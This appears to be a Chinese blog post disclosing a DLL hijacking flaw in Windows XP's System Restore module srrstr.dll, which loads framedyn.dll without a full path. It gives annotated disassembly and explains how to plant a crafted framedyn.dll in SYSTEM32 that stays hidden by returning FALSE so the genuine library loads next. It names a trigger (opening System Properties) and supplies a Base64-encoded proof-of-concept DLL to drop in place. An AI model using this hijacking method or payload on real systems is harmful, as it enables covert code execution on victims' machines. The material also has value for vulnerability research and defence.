|
受影响系统: Windows XP(home)SP1/SP2/SP3 Windows XP(pro) SP1/SP2/SP3 srrstr.dll是系统还原功能所必须的一个模块,该模块位于SYSTEM32目录下,此模块 还会加载位于c:\windows\system32\webm\目录下的framedyn.dll,加载framedyn.dll 的代码如下:
System Restore Restore Operation Library srrstr.dll 001B:5C0FF5A1 MOV EDI,EDI 001B:5C0FF5A3 PUSH EBP 001B:5C0FF5A4 MOV EBP,ESP 001B:5C0FF5A6 SUB ESP,000002E0 001B:5C0FF5AC MOV EAX,[5C107CD8] ; "aS" 001B:5C0FF5B1 AND DWORD PTR [EBP-02D8],00 001B:5C0FF5B8 PUSH ESI 001B:5C0FF5B9 MOV ESI,ECX 001B:5C0FF5BB PUSH 5C0E7B5C ; "framedyn.dll" 001B:5C0FF5C0 MOV [EBP-04],EAX 001B:5C0FF5C3 MOV [EBP-02E0],ESI 001B:5C0FF5C9 CALL [KERNEL32!LoadLibraryW] ;没有指定路径直接加载framedyn.dll 001B:5C0FF5CF TEST EAX,EAX 001B:5C0FF5D1 MOV [ESI+04],EAX 001B:5C0FF5D4 JZ 5C0FF5E5 ;如果加载失败跳到5C0FF5E5 001B:5C0FF5D6 MOV DWORD PTR [EBP-02D8],00000001 001B:5C0FF5E0 JMP 5C0FF722 ;如果加载成功,退出函数
001B:5C0FF5E5 MOV ESI,[5C0E124C] ;直接加载失败后跳到这儿 001B:5C0FF5EB PUSH EBX 001B:5C0FF5EC PUSH EDI 001B:5C0FF5ED CALL ESI 001B:5C0FF5EF TEST BYTE PTR [5C10A5D4],02 001B:5C0FF5F6 MOV [EBP-02DC],EAX 001B:5C0FF5FC MOV EBX,5C0E7B4C ; "LoadFrameDyn" 001B:5C0FF601 MOV EDI,5C108708 ; "d:\xpsprtm\admin\pc 001B:5C0FF606 JZ 5C0FF62F 001B:5C0FF608 PUSH 02 001B:5C0FF60A PUSH EBX 001B:5C0FF60B PUSH 00000DF8 001B:5C0FF610 PUSH EDI 001B:5C0FF611 CALL 5C101799 001B:5C0FF616 TEST EAX,EAX 001B:5C0FF618 JZ 5C0FF62F 001B:5C0FF61A PUSH DWORD PTR [EBP-02DC] 001B:5C0FF620 PUSH 5C0E7B18 ; "Failed to load framedyn 001B:5C0FF625 PUSH 00 001B:5C0FF627 CALL 5C0E898C 001B:5C0FF62C ADD ESP,0C
001B:5C0FF62F PUSH 00000168 ;如果加载失败都会跳到这儿 001B:5C0FF634 LEA EAX,[EBP-02D4] 001B:5C0FF63A PUSH EAX 001B:5C0FF63B CALL [KERNEL32!GetSystemDirectoryW] ;得到SYSTEM32所在目录 001B:5C0FF641 TEST EAX,EAX 001B:5C0FF643 MOV [EBP-02DC],EAX 001B:5C0FF649 JNZ 5C0FF67D 001B:5C0FF64B CALL ESI 001B:5C0FF64D TEST BYTE PTR [5C10A5D4],02 001B:5C0FF654 MOV ESI,EAX 001B:5C0FF656 JZ 5C0FF720 001B:5C0FF65C PUSH 02 001B:5C0FF65E PUSH EBX 001B:5C0FF65F PUSH 00000E09 001B:5C0FF664 PUSH EDI 001B:5C0FF665 CALL 5C101799 001B:5C0FF66A TEST EAX,EAX 001B:5C0FF66C JZ 5C0FF720 001B:5C0FF672 PUSH ESI 001B:5C0FF673 PUSH 5C0E7AF0 ; "Failed to load system d 001B:5C0FF678 JMP 5C0FF70A 001B:5C0FF67D ADD EAX,15 001B:5C0FF680 CMP EAX,00000168 001B:5C0FF685 JBE 5C0FF6B3 001B:5C0FF687 TEST BYTE PTR [5C10A5D4],02 001B:5C0FF68E JZ 5C0FF720 001B:5C0FF694 PUSH 02 001B:5C0FF696 PUSH EBX 001B:5C0FF697 PUSH 00000E11 001B:5C0FF69C PUSH EDI 001B:5C0FF69D CALL 5C101799 001B:5C0FF6A2 TEST EAX,EAX 001B:5C0FF6A4 JZ 5C0FF720 001B:5C0FF6A6 PUSH DWORD PTR [EBP-02DC] 001B:5C0FF6AC PUSH 5C0E7AC0 ; "Buffer not big enough. 001B:5C0FF6B1 JMP 5C0FF70A 001B:5C0FF6B3 PUSH 5C0E7A98 ; "\wbem\framedyn.dll" 001B:5C0FF6B8 LEA EAX,[EBP-02D4] 001B:5C0FF6BE PUSH EAX 001B:5C0FF6BF CALL [KERNEL32!lstrcatW] ;SYSTEM32路径后面补"\wbem\framedyn.dll" 001B:5C0FF6C5 LEA EAX,[EBP-02D4] 001B:5C0FF6CB PUSH EAX 001B:5C0FF6CC CALL [KERNEL32!LoadLibraryW] ;以正确的路径重新加载 001B:5C0FF6D2 TEST EAX,EAX 001B:5C0FF6D4 MOV ECX,[EBP-02E0] 001B:5C0FF6DA MOV [ECX+04],EAX 001B:5C0FF6DD JNZ 5C0FF716 001B:5C0FF6DF AND [EBP-02D8],EAX 001B:5C0FF6E5 CALL ESI 001B:5C0FF6E7 TEST BYTE PTR [5C10A5D4],02 001B:5C0FF6EE MOV ESI,EAX 001B:5C0FF6F0 JZ 5C0FF720 001B:5C0FF6F2 PUSH 02 001B:5C0FF6F4 PUSH EBX 001B:5C0FF6F5 PUSH 00000E1F 001B:5C0FF6FA PUSH EDI 001B:5C0FF6FB CALL 5C101799 001B:5C0FF700 TEST EAX,EAX 001B:5C0FF702 JZ 5C0FF720 001B:5C0FF704 PUSH ESI 001B:5C0FF705 PUSH 5C0E7A60 ; "Failed to load framedyn 001B:5C0FF70A PUSH 00 001B:5C0FF70C CALL 5C0E898C 001B:5C0FF711 ADD ESP,0C 001B:5C0FF714 JMP 5C0FF720 001B:5C0FF716 MOV DWORD PTR [EBP-02D8],00000001 001B:5C0FF720 POP EDI 001B:5C0FF721 POP EBX 001B:5C0FF722 MOV ECX,[EBP-04] 001B:5C0FF725 MOV EAX,[EBP-02D8] 001B:5C0FF72B POP ESI 001B:5C0FF72C CALL 5C0F6966 001B:5C0FF731 LEAVE 001B:5C0FF732 RET
漏洞是显而易见的,又是一个路径优先的问题,我们可以把一个特殊改造过的DLL放 到SYSTEM32下,并且命名为framedyn.dll,那么会调用srrstr.dll的程序也会优先加载我 们的framedyn.dll,然后我们的DLL在DllEntry处的返回值始终返回FALSH,srrstr.dll就会 再重新加载一次正确的DLL,这样隐藏性还是非常的好,而我们的恶意代码也能够执行.
至于有哪些程序在什么时候会调用srrstr.dll,目前能想到的方法是执行SYSDM.CPL, 也就是"我的电脑"图标点右键选择"属性",嘿嘿.
下面是我们小组的其它成员写的例子DLL(请放心无马,紧紧弹个对话框,只有600字节) 请命名为framedyn.dll并放在WINDOWS或SYSTEM32目录下(BLOG不能发附件,Base64编码了).
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAQAAAAFBFAABMAQIAU1dBTgAAAAAAAAAA4AAOIQsBBgGgAAAAIAAAAAAAAACoAQAAkAEAADAC AAAAAAAQIAAAACAAAAAEAAAAAAAAAAQAAAAAAAAAUAIAAJABAAAAAAAAAgAAAAAAEAAAEAAAAAAQ AAAQAAAAAAAAEAAAAAAAAAAAAAAA0AEAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAgAA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJABAAAI AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAACKAAAAAAIAAKAAAAAAAgAAAAAAAAAA AAAAAAAAIAAAYC5yZWxvYwAAEAAAAKACAAAgAAAAoAIAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAA AAACAAAAAAAAAAAAAAAAAABXb3JkRXhwAFWL7IN9DAF1E2oBaKABABBooAEAEGoA6AYAAAAzwMnC DAD/JQACABD4AQAAAAAAAAAAAAAOAgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAACd AU1lc3NhZ2VCb3hBAHVzZXIzMi5kbGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACQy KTI8MgAAAAAAAAAAAAAAAAAAAAAAAA==
|